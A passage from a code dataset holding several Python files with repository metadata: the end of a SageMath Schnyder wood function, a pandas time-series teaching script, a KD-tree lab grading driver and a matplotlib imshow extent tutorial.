(-1,-2),(1,2),(1,-3),(2,-2),(1,-2),(-2,-3)], format='list_of_edges')\n        sage: g.set_embedding({-1:[-2,2,0,-3],-2:[-3,1,2,-1],\n        ....: -3:[-1,0,1,-2],0:[-1,2,1,-3],1:[-2,-3,0,2],2:[-1,-2,1,0]})\n        sage: newg = minimal_schnyder_wood(g)\n        sage: sorted(newg.edges(), key=lambda e:(str(e[0]),str(e[1])))\n        [(0, -1, 'green'),\n         (0, -3, 'red'),\n         (0, 2, 'blue'),\n         (1, -2, 'blue'),\n         (1, -3, 'red'),\n         (1, 0, 'green'),\n         (2, -1, 'green'),\n         (2, -2, 'blue'),\n         (2, 1, 'red')]\n        sage: newg2 = minimal_schnyder_wood(g, minimal=False)\n        sage: sorted(newg2.edges(), key=lambda e:(str(e[0]),str(e[1])))\n        [(0, -1, 'green'),\n         (0, -3, 'red'),\n         (0, 1, 'blue'),\n         (1, -2, 'blue'),\n         (1, -3, 'red'),\n         (1, 2, 'green'),\n         (2, -1, 'green'),\n         (2, -2, 'blue'),\n         (2, 0, 'red')]\n\n    TESTS::\n\n        sage: minimal_schnyder_wood(graphs.RandomTriangulation(5))\n        Digraph on 5 vertices\n        sage: minimal_schnyder_wood(graphs.CompleteGraph(5))\n        Traceback (most recent call last):\n        ...\n        ValueError: not a planar graph\n        sage: minimal_schnyder_wood(graphs.WheelGraph(5))\n        Traceback (most recent call last):\n        ...\n        ValueError: not a triangulation\n        sage: minimal_schnyder_wood(graphs.OctahedralGraph(),root_edge=(0,5))\n        Traceback (most recent call last):\n        ...\n        ValueError: not a valid root edge\n    \"\"\"\n    if root_edge is None:\n        a = -1\n        b = -2\n    else:\n        a, b = root_edge\n\n    if check:\n        if not graph.is_planar():\n            raise ValueError('not a planar graph')\n        if not all(len(u) == 3 for u in graph.faces()):\n            raise ValueError('not a triangulation')\n        if not(a in graph.neighbors(b)):\n            raise ValueError('not a valid root edge')\n\n    new_g = DiGraph()\n    emb = graph.get_embedding()\n\n    # finding the third outer vertex c\n    emb_b = emb[b]\n    idx_a = emb_b.index(a)\n    c = emb_b[(idx_a + 1) % len(emb_b)]\n\n    # initialisation\n    for i in emb[c]:\n        if i != a and i != b:\n            new_g.add_edge((i, -3, 'red'))\n\n    path = list(emb[c])\n    idxa = path.index(a)\n    path = path[idxa:] + path[:idxa]\n    neighbors_in_path = {i: len([u for u in graph.neighbors(i) if u in path])\n                         for i in graph}\n    removable_nodes = [u for u in path if neighbors_in_path[u] == 2 and\n                       u != a and u != b]\n\n    # iterated path shortening\n    while len(path) > 2:\n        if minimal:\n            v = removable_nodes[-1]   # node to be removed from path\n        else:\n            v = removable_nodes[0]   # node to be removed from path\n        idx_v = path.index(v)\n        left = path[idx_v - 1]\n        new_g.add_edge((v, left, 'green'))\n        right = path[idx_v + 1]\n        new_g.add_edge((v, right, 'blue'))\n        neighbors_v = emb[v]\n        idx_left = neighbors_v.index(left)\n        neighbors_v = neighbors_v[idx_left:] + neighbors_v[:idx_left]\n        idx_right = neighbors_v.index(right)\n        inside = neighbors_v[1:idx_right]\n        new_g.add_edges([(w, v, 'red') for w in inside])\n        path = path[:idx_v] + inside + path[idx_v + 1:]\n        # updating the table of neighbors_in_path\n        for w in inside:\n            for x in graph.neighbors(w):\n                neighbors_in_path[x] += 1\n        for x in graph.neighbors(v):\n            neighbors_in_path[x] -= 1\n        # updating removable nodes\n        removable_nodes = [u for u in path if neighbors_in_path[u] == 2 and\n                           u != a and u != b]\n\n    def relabel(w):\n        return -3 if w == c else w\n\n    emb = {relabel(v): [relabel(u) for u in emb[v]] for v in graph}\n    for u, v, w in (a, b, -3), (b, -3, a), (-3, a, b):\n        idx = emb[u].index(v)\n        if idx == 0:\n            emb[u] = emb[u][1:-1]\n        else:\n            emb[u] = emb[u][idx+1:] + emb[u][:idx-1]\n\n    new_g.set_embedding(emb)\n    return new_g\n", "meta": {"hexsha": "dc11b61e4d471c8d56aee0941032ba7b3ea4f506", "size": 29983, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/graphs/schnyder.py", "max_stars_repo_name": "Ivo-Maffei/DistanceRegular", "max_stars_repo_head_hexsha": "d4dedd5c3e7da73111168fcce60d1f180fe24019", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-19T22:34:03.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-19T22:34:03.000Z", "max_issues_repo_path": "src/sage/graphs/schnyder.py", "max_issues_repo_name": "Ivo-Maffei/DistanceRegular", "max_issues_repo_head_hexsha": "d4dedd5c3e7da73111168fcce60d1f180fe24019", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/graphs/schnyder.py", "max_forks_repo_name": "Ivo-Maffei/DistanceRegular", "max_forks_repo_head_hexsha": "d4dedd5c3e7da73111168fcce60d1f180fe24019", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-03-29T17:13:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-03T18:11:28.000Z", "avg_line_length": 35.0268691589, "max_line_length": 144, "alphanum_fraction": 0.5508454791, "include": true, "reason": "from sage", "num_tokens": 7962, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.12421300511003351, "lm_q1q2_score": 0.05968170049162682}}
{"text": "\"\"\"First-order exploration of pandas Series object\"\"\"\n\nimport numpy as np              #python's array proccesing / linear algebra library\nimport pandas as  pd            #data processing / stats library\nimport matplotlib.pyplot as plt #data visualization\nimport matplotlib.dates as dates\nimport csv\nimport datetime\nfrom py_utils import printme \t#home-made formatting utilities\n\nlive=True\n\n#Create some data to be used in a time series\ndata=[10, 20, 30, 40]\n\n#Here's how to create a pandas Series object:\nser=pd.Series(data=data)\nprintme(\"Let's have a look:\", \"index  value\", ser)\n\n#Slicing operations are supported - you get an index \"for free\"\nprintme('second value only is:', ser[1])\nprintme('a slice from position 1 to 3:', ser[1:3])\n\n#Like a list, values can be heterogenous objects:\nser[0]='some string'  \nser[1]=(1,2,3)\nser[55]=5555555\nprintme(ser, '\\n')\n\n#we can remove and retrieve objects using pop() on the index\nvalue_3=ser.pop(3)\nvalue_5=ser.pop(55)\nprint('value_3:  {}'.format(value_3))\nprint('value_5:  {}'.format(value_5))\nprintme(ser)\n\n#get() is also supported\ndefault=ser.get(666, \"nope\")\nprintme(default)\n\n#We can use the keyword 'in' to test indices\nlook_for= 0\nresult=look_for in ser\nprintme('Is {} in the series?  {}'.format(look_for, result))\nprintme()\n\n\n#We can find values using the isin() method of Series\nprint('isin() produces a boolean mask; the argument is a list\\n')\nlook_for=[ (1,2,3) ]\nprint('looking for', look_for)\nprintme(ser.isin( look_for ))\n\nlook_for=[ (1,2,3), 30, 50]\nprintme('looking for', look_for)\nprintme(ser.isin( look_for ))\n\n\n\n#Better indices ... pandas work and play well with dates\n\n#Create an index object (DatetimeIndex) for the time series\n#   - Anything that looks like a date works. Default is range(len(data))\n#   - Optional arguments can localize/normalize to 2400: \n#         tz='America/Los_Angeles', normalize=True\n#   - Frequencies can be ms, s, m, h, d, a <several flavors of a (annual)>\n#       a-dec, a-mar, etc. For offset from specific day: pd.DateOffset(years=2)\n\n#These all produce dates from Jan 1, 2017 - Jan 5, 2017\nimport datetime\ndata=[10, 20, 30, 40]\nindex=pd.date_range(start='1/1/2017',   periods=4, freq='d')\nindex=pd.date_range(start='Jan 1 2017', periods=4, freq='d')\nindex=pd.date_range(start=datetime.datetime(2017,1,1), periods=4, freq='d')\nindex=pd.date_range(start='1 Jan 2017', end='4 Jan 2017')\n\nprintme(\"Here's our index:\")\nprintme(index)\n\n#We can load our data and index into a Series object in one fell swoop\ndata=[10, 20, 30, 40]\nindex=pd.date_range(start='1 Jan 2017', end='4 Jan 2017')\nser=pd.Series(data=data, index=index)\nprintme(\"... and here's our series:\")\nprintme(ser)\n\n#It's easy top operate on the entire index or data vector:\n#   advance index by a day and increment each value\nprintme(\"first date:  {}  first value: {}\".format(ser.index[0], ser[0]))\nser.index=ser.index+1\nser=ser+100\nprintme(\"now, check it out:\", ser)\n\n#We can shift it out a couple years if we want\nadd_years=2\nser.index=ser.index+ pd.DateOffset(years=add_years)\nprintme(\"extended {} years:\".format(add_years))\nprintme(ser)\n\n#pandas has lots of built-in 'intelligent dates'\nfrom pandas.core.datetools import BYearEnd, Easter, QuarterEnd, BMonthEnd\nnew_year=pd.datetime(2017, 1, 1)\neaster= pd.date_range(start=new_year,periods=3, freq=Easter())\nprintme('Happy Easter!', easter)\nqend=pd.date_range(start=new_year, periods=4, freq=QuarterEnd())\nprintme(\"End of quarters:\", qend)\n\n\n#Plotting can be super-easy with matplotlib (but it's ugly)\nplt.plot(ser)\nif live: plt.show()\n\n#Tease out 'figure' and 'axes' objects to apply formatting\nfig, ax = plt.subplots()\n\n#add the Series object (we could add x and y values separately)\nax.plot(ser)\n\n#to apply axes formatting, create and apply a formatting object\nx_format = dates.DateFormatter('%Y-%m-%d')\nax.xaxis.set_major_formatter(x_format)\n\n#this automatically 'slants' the text so it's legible\nfig.autofmt_xdate()\n\n#this 'pads out' the chart with a little extra margin\nplt.tight_layout()\n\n#we can optionally add a title\nplt.title(\"The most boring plot ever - bigly\")\n\n#this renders the plot\nplt.show()\na=1\n", "meta": {"hexsha": "71b3fff60f49740dcbe7f0584d9177d6a56acb43", "size": 4119, "ext": "py", "lang": "Python", "max_stars_repo_path": "dkr-py310/docker-student-portal-310/course_files/pandas/py_pandas_time_series_1.py", "max_stars_repo_name": "pbarton666/virtual_classroom", "max_stars_repo_head_hexsha": "a9d0dc2eb16ebc4d2fd451c3a3e6f96e37c87675", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "dkr-py310/docker-student-portal-310/course_files/pandas/py_pandas_time_series_1.py", "max_issues_repo_name": "pbarton666/virtual_classroom", "max_issues_repo_head_hexsha": "a9d0dc2eb16ebc4d2fd451c3a3e6f96e37c87675", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dkr-py310/docker-student-portal-310/course_files/pandas/py_pandas_time_series_1.py", "max_forks_repo_name": "pbarton666/virtual_classroom", "max_forks_repo_head_hexsha": "a9d0dc2eb16ebc4d2fd451c3a3e6f96e37c87675", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.5111111111, "max_line_length": 83, "alphanum_fraction": 0.7232337946, "include": true, "reason": "import numpy", "num_tokens": 1194, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11920293297380236, "lm_q1q2_score": 0.05960146648690118}}
{"text": "# testDriver.py\n\"\"\"Volume II Lab 7: Nearest Neighbor Search. Test Driver.\n\n< IN DEVELOPMENT >\n\n\"\"\"\n\nimport inspect\nimport numpy as np\nfrom scipy.spatial import KDTree\nfrom solutions import metric, postal_problem\n\n\ndef test(student_module):\n    \"\"\"Test script. You must import the students file as a module.\n    \n     5 points for problem 1\n     5 points for problem 2\n    10 points for problem 3\n    10 points for problem 4\n    20 points for problem 5\n    10 points for problem 6\n    \n    Inputs:\n        student_module: the imported module for the student's file.\n    \n    Returns:\n        score (int): the student's score, out of 80.\n        feedback (str): a printout of test results for the student.\n    \"\"\"\n    tester = _testDriver()\n    tester.test_all(student_module)\n    return tester.score, tester.feedback\n\nclass _testDriver(object):\n    \"\"\"Class for testing a student's work. See test.__doc__ for more info.\"\"\"\n    def __init__(self):\n        self.feedback = \"\"\n\n    # Main routine -----------------------------------------------------------\n    def test_all(self, student_module, total=50):\n        \"\"\"Grade the provided module on each problem and compile feedback.\"\"\"\n        # Reset feedback and score.\n        self.feedback = \"\"\n        self.score = 0\n\n        def test_one(problem, label, value):\n            \"\"\"Test a single problem, checking for errors.\"\"\"\n            try:\n                self.feedback += \"\\n\\n{} ({} points):\".format(label, value)\n                points = problem(student_module)\n                self.score += points\n                self.feedback += \"\\nScore += {}\".format(points)\n            except BaseException as e:\n                self.feedback += \"\\n{}: {}\".format(self._errType(e), e)\n\n        # Grade each problem.\n        test_one(self.problem1, \"Problem 1\", 5)\n        test_one(self.problem2, \"Problem 2\", 5)\n        test_one(self.problem5, \"Problems 4 and 5\", 30)\n        test_one(self.problem6, \"Problem 6\", 10)\n\n        # Report final score.\n        percentage = (100. * self.score) / total\n        self.feedback += \"\\n\\nTotal score: {}/{} = {}%\".format(\n                                    self.score, total, round(percentage, 2))\n        if   percentage >=  98: self.feedback += \"\\n\\nExcellent!\"\n        elif percentage >=  90: self.feedback += \"\\n\\nGreat job!\"\n\n        # Add comments (optionally).\n        print(self.feedback)\n        comments = str(raw_input(\"Comments: \"))\n        if len(comments) > 0:\n            self.feedback += '\\n\\n\\nComments:\\n\\t{}'.format(comments)\n\n\n    # Helper Functions --------------------------------------------------------\n    @staticmethod\n    def _errType(error):\n        \"\"\"Get just the name of the exception 'error' in string format.\"\"\"\n        return str(type(error).__name__)\n\n    def _eqTest(self, correct, student, message):\n        \"\"\"Test to see if 'correct' and 'student' are equal.\n        Report the given 'message' if they are not.\n        \"\"\"\n        if np.allclose(correct, student, atol=1e-04):\n            return 1\n        else:\n            self.feedback += \"\\n{}\".format(message)\n            self.feedback += \"\\n\\tCorrect response: {}\".format(correct)\n            self.feedback += \"\\n\\tStudent response: {}\".format(student)\n            return 0\n\n    def _grade(self, points, message=None):\n        \"\"\"Manually grade a problem worth 'points'. Return the score.\n        If full points are not earned, get feedback on the problem.\n        \"\"\"\n        credit = -1\n        while credit > points or credit < 0:\n            try:\n                credit = int(input(\"\\nScore out of {}: \".format(points)))\n            except:\n                credit = -1\n        if credit != points:\n            # Add comments (optionally),\n            comments = raw_input(\"Comments: \")\n            if len(comments) > 0:\n                self.feedback += \"\\n{}\".format(comments)\n            # Or add a predetermined error message.\n            elif message is not None:\n                self.feedback += \"\\n{}\".format(message)\n        return credit\n\n    def neighbor(self, m, k, func):\n        \"\"\"Do a single nearest neighbor search trial for mxk data,\n        solved with the function 'func'.\n        \"\"\"\n        data = np.random.random((m, k))\n        target = np.random.random(k)\n        tree = KDTree(data)\n        dist, index = tree.query(target)\n        point = tree.data[index]\n        spoint, sdist = func(data, target) # func solves the problem\n        p1 = self._eqTest(point, spoint,\n            \"\\n\\t\"+func.__name__+\"() failed: incorrect nearest neighbor\")\n        p2 = self._eqTest(dist, sdist, \n            \"\\n\\t\"+func.__name__+\"() failed: incorrect minimum distance\")\n        return p1 + p2\n\n    @staticmethod\n    def get_code(func):\n        rawcode = inspect.getsource(func).splitlines()[len(\n                                            func.__doc__.splitlines())+1:]\n        for line in rawcode: print line\n\n    # Problems ----------------------------------------------------------------\n    def problem1(self, s):\n        \"\"\"Test metric(). 5 Points.\"\"\"\n\n        # Test with good inputs (4 points)\n        x = np.array([1, 2])\n        y = np.array([2, 2])\n        points = self._eqTest(metric(x,y), s.metric(x,y),\n                                            \"\\n\\tmetric() failed.\")\n        \n        x = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10])\n        y = np.array([2, 6, 4, 8, 0, 2, 4, 7, 5, 11])\n        points += self._eqTest(metric(x,y), s.metric(x,y),\n                                            \"\\n\\tmetric() failed.\")\n        \n        x = (np.random.random(100)-.5)*200\n        y = (np.random.random(100)-.5)*200\n        points += self._eqTest(metric(x,y), s.metric(x,y),\n                                        \"\\n\\tmetric() failed.\")*2\n        \n        # Test with bad inputs (1 point)\n        x = np.array([1, 2])\n        y = np.array([1, 2, 3])\n        try:\n            s.metric(x, y)\n            self.feedback += \"\\n\\tmetric() failed to raise a \"\n            self.feedback += \"ValueError for vectors of different lengths\"\n        except:\n            points += 1\n\n        return points\n\n    def problem2(self, s):\n        \"\"\"Test exhaustive_search(). 5 points.\"\"\"\n    \n        points  = self.neighbor(100, 10, s.exhaustive_search)\n        points += self.neighbor(10, 100, s.exhaustive_search)\n        points += 1\n\n        _testDriver.get_code(s.exhaustive_search)\n        print \"\\n(Check that scipy.spatial.KDTree is not used)\"\n        points *= self._grade(1)\n\n        return points\n\n    def problem3(self, s):\n        \"\"\"Test the KDTNode class. 10 points.\"\"\"\n\n        points = 0\n\n        # Test KDTNode.__init__ (can only hold np.ndarrays; 2 points)\n        try:\n            s.KDTNode(\"This is not a numpy array\")\n            self.feedback += \"\\n\\tKDTNode(x) failed to raise a TypeError \"\n            self.feedback += \"for x not a numpy array (np.ndarray)\"\n        except:\n            points += 2\n\n        # Test KDTNode.__sub__ (euclidean distance; 2 points)\n        x = np.random.random(10); y = np.random.random(10)\n        A =   KDTNode(x); B =   KDTNode(y)\n        C = s.KDTNode(x); D = s.KDTNode(y)\n        points += 2*self._eqTest(A-B, C-D, \"\\n\\tKDTNode.__sub__ failed\")\n\n        # Test KDTNode.__eq__ (1 Point)\n        D = s.KDTNode(1.5*x)\n        if not (C == D):\n            points += 1\n        else:\n            self.feedback += \"\\n\\tKDTNode.__eq__ failed on nonequal\"\n\n        # Test KDTNode.__lt__ and KDTNode.__gt__ (5 points)\n        x = s.KDTNode(np.array([3,1,0,5], dtype=np.int)); x.axis = 0\n        y = s.KDTNode(np.array([1,2,4,3], dtype=np.int)); y.axis = 1\n        if x < y: points += 1\n        else: self.feedback += \"\\n\\tKDTNode.__lt__ failed\"\n        if y < x: points += 1\n        else: self.feedback += \"\\n\\tKDTNode.__lt__ failed\"\n\n        x.axis = 2; y.axis = 3\n        if x > y: points += 1\n        else: self.feedback += \"\\n\\tKDTNode.__gt__ failed\"\n        if y > x: points += 2\n        else: self.feedback += \"\\n\\tKDTNode.__gt__ failed\"\n\n        return points\n    \n    def problem5(self, s):\n        \"\"\"Test nearest_neighbor(). 30 points.\"\"\"\n        points = 0\n\n        points  = self.neighbor( 10,  10, s.nearest_neighbor)*3\n        points += self.neighbor(100,  10, s.nearest_neighbor)*3\n        points += self.neighbor( 10, 100, s.nearest_neighbor)*3\n        points += self.neighbor(100, 100, s.nearest_neighbor)*3\n        points += self.neighbor(100, 100, s.nearest_neighbor)*3\n\n        _testDriver.get_code(s.nearest_neighbor)\n        print \"\\n(Check that scipy.spatial.KDTree is not used)\"\n        points *= self._grade(1)\n        \n        return points\n\n    def problem6(self, s):\n        \"\"\"Test postal_problem(). 10 points.\"\"\"\n\n        print(\"Correct responses:\")\n        postal_problem(grading=True)\n        print(\"\\nStudent responses:\")\n        x = s.postal_problem()\n        if x is not None:\n            print x\n        \n        return self._grade(10)\n\nif __name__ == '__main__':\n    import solutions as sol\n    score, feedback = test(sol)\n\n# =============================== END OF FILE =============================== #\n", "meta": {"hexsha": "0289b2e558dafa89b90736cb17716a4ba936714e", "size": 9073, "ext": "py", "lang": "Python", "max_stars_repo_path": "Vol2A/DataStructures3-KDT/testDriver.py", "max_stars_repo_name": "joshualy/numerical_computing", "max_stars_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Vol2A/DataStructures3-KDT/testDriver.py", "max_issues_repo_name": "joshualy/numerical_computing", "max_issues_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Vol2A/DataStructures3-KDT/testDriver.py", "max_forks_repo_name": "joshualy/numerical_computing", "max_forks_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-11-05T14:45:03.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-05T14:45:03.000Z", "avg_line_length": 35.3035019455, "max_line_length": 79, "alphanum_fraction": 0.5355450237, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2250, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1192029314092759, "lm_q1q2_score": 0.05960146570463795}}
{"text": "\"\"\"\n*origin* and *extent* in `~.Axes.imshow`\n========================================\n\n:meth:`~.Axes.imshow` allows you to render an image (either a 2D array\nwhich will be color-mapped (based on *norm* and *cmap*) or a 3D RGB(A)\narray which will be used as-is) to a rectangular region in data space.\nThe orientation of the image in the final rendering is controlled by\nthe *origin* and *extent* kwargs (and attributes on the resulting\n`~.AxesImage` instance) and the data limits of the axes.\n\nThe *extent* kwarg controls the bounding box in data coordinates that\nthe image will fill specified as ``(left, right, bottom, top)`` in\n**data coordinates**, the *origin* kwarg controls how the image fills\nthat bounding box, and the orientation in the final rendered image is\nalso affected by the axes limits.\n\n.. hint:: Most of the code below is used for adding labels and informative\n   text to the plots. The described effects of *origin* and *extent* can be\n   seen in the plots without the need to follow all code details.\n\n   For a quick understanding, you may want to skip the code details below and\n   directly continue with the discussion of the results.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\n\n\ndef index_to_coordinate(index, extent, origin):\n    \"\"\"Return the pixel center of an index.\"\"\"\n    left, right, bottom, top = extent\n\n    hshift = 0.5 * np.sign(right - left)\n    left, right = left + hshift, right - hshift\n    vshift = 0.5 * np.sign(top - bottom)\n    bottom, top = bottom + vshift, top - vshift\n\n    if origin == 'upper':\n        bottom, top = top, bottom\n\n    return {\n        \"[0, 0]\": (left, bottom),\n        \"[M', 0]\": (left, top),\n        \"[0, N']\": (right, bottom),\n        \"[M', N']\": (right, top),\n    }[index]\n\n\ndef get_index_label_pos(index, extent, origin, inverted_xindex):\n    \"\"\"\n    Return the desired position and horizontal alignment of an index label.\n    \"\"\"\n    if extent is None:\n        extent = lookup_extent(origin)\n    left, right, bottom, top = extent\n    x, y = index_to_coordinate(index, extent, origin)\n\n    is_x0 = index[-2:] == \"0]\"\n    halign = 'left' if is_x0 ^ inverted_xindex else 'right'\n    hshift = 0.5 * np.sign(left - right)\n    x += hshift * (1 if is_x0 else -1)\n    return x, y, halign\n\n\ndef get_color(index, data, cmap):\n    \"\"\"Return the data color of an index.\"\"\"\n    val = {\n        \"[0, 0]\": data[0, 0],\n        \"[0, N']\": data[0, -1],\n        \"[M', 0]\": data[-1, 0],\n        \"[M', N']\": data[-1, -1],\n    }[index]\n    return cmap(val / data.max())\n\n\ndef lookup_extent(origin):\n    \"\"\"Return extent for label positioning when not given explicitly.\"\"\"\n    if origin == 'lower':\n        return (-0.5, 6.5, -0.5, 5.5)\n    else:\n        return (-0.5, 6.5, 5.5, -0.5)\n\n\ndef set_extent_None_text(ax):\n    ax.text(3, 2.5, 'equals\\nextent=None', size='large',\n            ha='center', va='center', color='w')\n\n\ndef plot_imshow_with_labels(ax, data, extent, origin, xlim, ylim):\n    \"\"\"Actually run ``imshow()`` and add extent and index labels.\"\"\"\n    im = ax.imshow(data, origin=origin, extent=extent)\n\n    # extent labels (left, right, bottom, top)\n    left, right, bottom, top = im.get_extent()\n    if xlim is None or top > bottom:\n        upper_string, lower_string = 'top', 'bottom'\n    else:\n        upper_string, lower_string = 'bottom', 'top'\n    if ylim is None or left < right:\n        port_string, starboard_string = 'left', 'right'\n        inverted_xindex = False\n    else:\n        port_string, starboard_string = 'right', 'left'\n        inverted_xindex = True\n    bbox_kwargs = {'fc': 'w', 'alpha': .75, 'boxstyle': \"round4\"}\n    ann_kwargs = {'xycoords': 'axes fraction',\n                  'textcoords': 'offset points',\n                  'bbox': bbox_kwargs}\n    ax.annotate(upper_string, xy=(.5, 1), xytext=(0, -1),\n                ha='center', va='top', **ann_kwargs)\n    ax.annotate(lower_string, xy=(.5, 0), xytext=(0, 1),\n                ha='center', va='bottom', **ann_kwargs)\n    ax.annotate(port_string, xy=(0, .5), xytext=(1, 0),\n                ha='left', va='center', rotation=90,\n                **ann_kwargs)\n    ax.annotate(starboard_string, xy=(1, .5), xytext=(-1, 0),\n                ha='right', va='center', rotation=-90,\n                **ann_kwargs)\n    ax.set_title('origin: {origin}'.format(origin=origin))\n\n    # index labels\n    for index in [\"[0, 0]\", \"[0, N']\", \"[M', 0]\", \"[M', N']\"]:\n        tx, ty, halign = get_index_label_pos(index, extent, origin,\n                                             inverted_xindex)\n        facecolor = get_color(index, data, im.get_cmap())\n        ax.text(tx, ty, index, color='white', ha=halign, va='center',\n                bbox={'boxstyle': 'square', 'facecolor': facecolor})\n    if xlim:\n        ax.set_xlim(*xlim)\n    if ylim:\n        ax.set_ylim(*ylim)\n\n\ndef generate_imshow_demo_grid(extents, xlim=None, ylim=None):\n    N = len(extents)\n    fig = plt.figure(tight_layout=True)\n    fig.set_size_inches(6, N * (11.25) / 5)\n    gs = GridSpec(N, 5, figure=fig)\n\n    columns = {'label': [fig.add_subplot(gs[j, 0]) for j in range(N)],\n               'upper': [fig.add_subplot(gs[j, 1:3]) for j in range(N)],\n               'lower': [fig.add_subplot(gs[j, 3:5]) for j in range(N)]}\n    x, y = np.ogrid[0:6, 0:7]\n    data = x + y\n\n    for origin in ['upper', 'lower']:\n        for ax, extent in zip(columns[origin], extents):\n            plot_imshow_with_labels(ax, data, extent, origin, xlim, ylim)\n\n    columns['label'][0].set_title('extent=')\n    for ax, extent in zip(columns['label'], extents):\n        if extent is None:\n            text = 'None'\n        else:\n            left, right, bottom, top = extent\n            text = (f'left: {left:0.1f}\\nright: {right:0.1f}\\n'\n                    f'bottom: {bottom:0.1f}\\ntop: {top:0.1f}\\n')\n        ax.text(1., .5, text, transform=ax.transAxes, ha='right', va='center')\n        ax.axis('off')\n    return columns\n\n\n###############################################################################\n#\n# Default extent\n# --------------\n#\n# First, let's have a look at the default ``extent=None``\n\ngenerate_imshow_demo_grid(extents=[None])\n\n###############################################################################\n#\n# Generally, for an array of shape (M, N), the first index runs along the\n# vertical, the second index runs along the horizontal.\n# The pixel centers are at integer positions ranging from 0 to ``N' = N - 1``\n# horizontally and from 0 to ``M' = M - 1`` vertically.\n# *origin* determines how the data is filled in the bounding box.\n#\n# For ``origin='lower'``:\n#\n#    - [0, 0] is at (left, bottom)\n#    - [M', 0] is at (left, top)\n#    - [0, N'] is at (right, bottom)\n#    - [M', N'] is at (right, top)\n#\n# ``origin='upper'`` reverses the vertical axes direction and filling:\n#\n#    - [0, 0] is at (left, top)\n#    - [M', 0] is at (left, bottom)\n#    - [0, N'] is at (right, top)\n#    - [M', N'] is at (right, bottom)\n#\n# In summary, the position of the [0, 0] index as well as the extent are\n# influenced by *origin*:\n#\n# ======  ===============  ==========================================\n# origin  [0, 0] position  extent\n# ======  ===============  ==========================================\n# upper   top left         ``(-0.5, numcols-0.5, numrows-0.5, -0.5)``\n# lower   bottom left      ``(-0.5, numcols-0.5, -0.5, numrows-0.5)``\n# ======  ===============  ==========================================\n#\n# The default value of *origin* is set by :rc:`image.origin` which defaults\n# to ``'upper'`` to match the matrix indexing conventions in math and\n# computer graphics image indexing conventions.\n#\n#\n# Explicit extent\n# ---------------\n#\n# By setting *extent* we define the coordinates of the image area. The\n# underlying image data is interpolated/resampled to fill that area.\n#\n# If the axes is set to autoscale, then the view limits of the axes are set\n# to match the *extent* which ensures that the coordinate set by\n# ``(left, bottom)`` is at the bottom left of the axes!  However, this\n# may invert the axis so they do not increase in the 'natural' direction.\n#\n\nextents = [(-0.5, 6.5, -0.5, 5.5),\n           (-0.5, 6.5, 5.5, -0.5),\n           (6.5, -0.5, -0.5, 5.5),\n           (6.5, -0.5, 5.5, -0.5)]\n\ncolumns = generate_imshow_demo_grid(extents)\nset_extent_None_text(columns['upper'][1])\nset_extent_None_text(columns['lower'][0])\n\n\n###############################################################################\n#\n# Explicit extent and axes limits\n# -------------------------------\n#\n# If we fix the axes limits by explicitly setting `~.axes.Axes.set_xlim` /\n# `~.axes.Axes.set_ylim`, we force a certain size and orientation of the axes.\n# This can decouple the 'left-right' and 'top-bottom' sense of the image from\n# the orientation on the screen.\n#\n# In the example below we have chosen the limits slightly larger than the\n# extent (note the white areas within the Axes).\n#\n# While we keep the extents as in the examples before, the coordinate (0, 0)\n# is now explicitly put at the bottom left and values increase to up and to\n# the right (from the viewer's point of view).\n# We can see that:\n#\n# - The coordinate ``(left, bottom)`` anchors the image which then fills the\n#   box going towards the ``(right, top)`` point in data space.\n# - The first column is always closest to the 'left'.\n# - *origin* controls if the first row is closest to 'top' or 'bottom'.\n# - The image may be inverted along either direction.\n# - The 'left-right' and 'top-bottom' sense of the image may be uncoupled from\n#   the orientation on the screen.\n\ngenerate_imshow_demo_grid(extents=[None] + extents,\n                          xlim=(-2, 8), ylim=(-1, 6))\n\nplt.show()\n", "meta": {"hexsha": "e1e87eb253f847ef875ceea5830cfcd77e0f61cb", "size": 9713, "ext": "py", "lang": "Python", "max_stars_repo_path": "matplotlib-3.4.3/matplotlib-3.4.3/tutorials/intermediate/imshow_extent.py", "max_stars_repo_name": "JohnLauFoo/clc_packages_Yu", "max_stars_repo_head_hexsha": "259f01d9b5c02154ce258734d519ae8995cd0991", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-11-13T17:21:44.000Z", 